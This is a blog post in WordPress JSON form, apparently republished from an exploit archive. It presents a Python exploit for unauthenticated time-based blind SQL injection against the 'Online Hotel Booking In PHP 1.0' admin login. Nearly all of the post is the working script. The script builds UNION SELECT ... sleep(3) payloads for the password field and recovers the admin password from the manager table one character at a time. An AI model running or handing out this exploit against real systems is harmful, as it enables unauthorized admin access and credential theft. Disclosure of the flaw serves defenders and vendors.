{"id":55806,"date":"2024-04-03T02:19:44","date_gmt":"2024-04-02T22:19:44","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177871\/ohb10-sql.txt"},"modified":"2024-04-03T02:19:44","modified_gmt":"2024-04-02T22:19:44","slug":"online-hotel-booking-in-php-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/online-hotel-booking-in-php-1-0-sql-injection\/","title":{"rendered":"Online Hotel Booking In PHP 1.0 SQL Injection"},"content":{"rendered":"<p># Exploit Title: Online Hotel Booking In PHP 1.0 &#8211; Blind SQL Injection (Unauthenticated)<br \/># Google Dork: n\/a<br \/># Date: 04\/02\/2024<br \/># Exploit Author: Gian Paris C. Agsam<br \/># Vendor Homepage: https:\/\/github.com\/projectworldsofficial<br \/># Software Link: https:\/\/projectworlds.in\/wp-content\/uploads\/2019\/06\/hotel-booking.zip<br \/># Version: 1.0<br \/># Tested on: Apache\/2.4.58 (Debian) \/ PHP 8.2.12<br \/># CVE : n\/a<\/p>\n<p>import requests<br \/>import argparse<br \/>from colorama import (Fore as F, Back as B, Style as S)<\/p>\n<p>BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB,FW = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT,F.WHITE<\/p>\n<p>requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)<br \/>proxies = {&#8216;http&#8217;: &#8216;http:\/\/127.0.0.1:8080&#8217;, &#8216;https&#8217;: &#8216;http:\/\/127.0.0.1:8080&#8217;}<\/p>\n<p>parser = argparse.ArgumentParser(description=&#8217;Exploit Blind SQL Injection&#8217;)<br \/>parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;url&#8217;, help=&#8221;)<br \/>args = parser.parse_args()<\/p>\n<p>def banner():<br \/>print(f&#8221;&#8221;&#8221;{FR}<br \/>\u00b7\u2584\u2584\u2584\u00b7\u2584\u2584\u2584.\u2584\u2584 \u00b7 \u2584\u2584\u2584 . \u2584\u2584\u00b7 \u00b7\u2584\u2584\u2584\u2584 \u2584\u2584\u2584 \u25aa \u00b7\u2584\u2584\u2584\u2584 <br \/>\u25aa \u2590\u2584\u2584\u00b7\u2590\u2584\u2584\u00b7\u2590\u2588 \u2580. \u2580\u2584.\u2580\u00b7\u2590\u2588 \u258c\u25aa\u2588\u2588\u25aa \u2588\u2588 \u2580\u2584 \u2588\u00b7\u25aa \u2588\u2588 \u2588\u2588\u25aa \u2588\u2588 <br \/>\u2584\u2588\u2580\u2584 \u2588\u2588\u25aa \u2588\u2588\u25aa \u2584\u2580\u2580\u2580\u2588\u2584\u2590\u2580\u2580\u25aa\u2584\u2588\u2588 \u2584\u2584\u2590\u2588\u00b7 \u2590\u2588\u258c\u2590\u2580\u2580\u2584 \u2584\u2588\u2580\u2584 \u2590\u2588\u00b7\u2590\u2588\u00b7 \u2590\u2588\u258c<br \/>\u2590\u2588\u258c.\u2590\u258c\u2588\u2588\u258c.\u2588\u2588\u258c.\u2590\u2588\u2584\u25aa\u2590\u2588\u2590\u2588\u2584\u2584\u258c\u2590\u2588\u2588\u2588\u258c\u2588\u2588. \u2588\u2588 \u2590\u2588\u2022\u2588\u258c\u2590\u2588\u258c.\u2590\u258c\u2590\u2588\u258c\u2588\u2588. \u2588\u2588 <br \/>\u2580\u2588\u2584\u2580\u25aa\u2580\u2580\u2580 \u2580\u2580\u2580 \u2580\u2580\u2580\u2580 \u2580\u2580\u2580 \u00b7\u2580\u2580\u2580 \u2580\u2580\u2580\u2580\u2580\u2022 .\u2580 \u2580 \u2580\u2588\u2584\u2580\u25aa\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2022 <br \/>Github: https:\/\/github.com\/offensive-droid <br \/>{FW}<br \/>&#8220;&#8221;&#8221;)<\/p>\n<p># Define the characters to test<br \/>chars = [<br \/>&#8216;a&#8217;, &#8216;b&#8217;, &#8216;c&#8217;, &#8216;d&#8217;, &#8216;e&#8217;, &#8216;f&#8217;, &#8216;g&#8217;, &#8216;h&#8217;, &#8216;i&#8217;, &#8216;j&#8217;, &#8216;k&#8217;, &#8216;l&#8217;, &#8216;m&#8217;, &#8216;n&#8217;, &#8216;o&#8217;,<br \/>&#8216;p&#8217;, &#8216;q&#8217;, &#8216;r&#8217;, &#8216;s&#8217;, &#8216;t&#8217;, &#8216;u&#8217;, &#8216;v&#8217;, &#8216;w&#8217;, &#8216;x&#8217;, &#8216;y&#8217;, &#8216;z&#8217;, &#8216;A&#8217;, &#8216;B&#8217;, &#8216;C&#8217;, &#8216;D&#8217;,<br \/>&#8216;E&#8217;, &#8216;F&#8217;, &#8216;G&#8217;, &#8216;H&#8217;, &#8216;I&#8217;, &#8216;J&#8217;, &#8216;K&#8217;, &#8216;L&#8217;, &#8216;M&#8217;, &#8216;N&#8217;, &#8216;O&#8217;, &#8216;P&#8217;, &#8216;Q&#8217;, &#8216;R&#8217;, &#8216;S&#8217;,<br \/>&#8216;T&#8217;, &#8216;U&#8217;, &#8216;V&#8217;, &#8216;W&#8217;, &#8216;X&#8217;, &#8216;Y&#8217;, &#8216;Z&#8217;, &#8216;0&#8217;, &#8216;1&#8217;, &#8216;2&#8217;, &#8216;3&#8217;, &#8216;4&#8217;, &#8216;5&#8217;, &#8216;6&#8217;, &#8216;7&#8217;,<br \/>&#8216;8&#8217;, &#8216;9&#8217;, &#8216;@&#8217;, &#8216;#&#8217;<br \/>]\n<p>def sqliPayload(char, position, userid, column, table):<br \/>sqli = &#8216;admin\\&#8217; UNION SELECT IF(SUBSTRING(&#8216;<br \/>sqli += str(column) + &#8216;,&#8217;<br \/>sqli += str(position) + &#8216;,1) = \\&#8221;<br \/>sqli += str(char) + &#8216;\\&#8217;,sleep(3),null) FROM &#8216;<br \/>sqli += str(table) + &#8216; WHERE uname=&#8221;admin&#8221;\\&#8221;<br \/>return sqli<\/p>\n<p>def postRequest(URL, sqliReq, char, position):<br \/>sqliURL = URL<br \/>params = {&#8220;emailusername&#8221;: &#8220;admin&#8221;, &#8220;password&#8221;: sqliReq, &#8220;submit&#8221;: &#8220;Login&#8221;}<br \/>req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies, timeout=10)<br \/>if req.elapsed.total_seconds() &gt;= 2:<br \/>print(&#8220;{} : {}&#8221;.format(char, req.elapsed.total_seconds()))<br \/>return char<\/p>\n<p>return &#8221;<\/p>\n<p>def theHarvester(target, CHARS, url):<br \/>#print(&#8220;Retrieving: {} {} {}&#8221;.format(target[&#8216;table&#8217;], target[&#8216;column&#8217;], target[&#8216;id&#8217;]))<br \/>print(&#8220;Retrieving admin password&#8221;.format(target[&#8216;table&#8217;], target[&#8216;column&#8217;], target[&#8216;id&#8217;]))<br \/>position = 1<br \/>full_pass = &#8220;&#8221;<br \/>while position &lt; 5:<br \/>for char in CHARS:<br \/>sqliReq = sqliPayload(char, position, target[&#8216;id&#8217;], target[&#8216;column&#8217;], target[&#8216;table&#8217;])<br \/>found_char = postRequest(url, sqliReq, char, position)<br \/>full_pass += found_char<br \/>position += 1<br \/>return full_pass<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>banner()<br \/>HOST = str(args.url)<br \/>PATH = HOST + &#8220;\/hotel booking\/admin\/login.php&#8221;<br \/>adminPassword = {&#8220;id&#8221;: &#8220;1&#8221;, &#8220;table&#8221;: &#8220;manager&#8221;, &#8220;column&#8221;: &#8220;upass&#8221;}<br \/>adminPass = theHarvester(adminPassword, chars, PATH)<br \/>print(&#8220;Admin Password:&#8221;, adminPass)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Online Hotel Booking In PHP 1.0 &#8211; Blind SQL Injection (Unauthenticated)# Google Dork: n\/a# Date: 04\/02\/2024# Exploit Author: Gian Paris C. Agsam# Vendor Homepage: https:\/\/github.com\/projectworldsofficial# Software Link: https:\/\/projectworlds.in\/wp-content\/uploads\/2019\/06\/hotel-booking.zip# Version: 1.0# Tested on: Apache\/2.4.58 (Debian) \/ PHP 8.2.12# CVE : n\/a import requestsimport argparsefrom colorama import (Fore as F, Back as B, Style &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55806","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55806","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55806"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55806\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55806"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55806"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55806"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}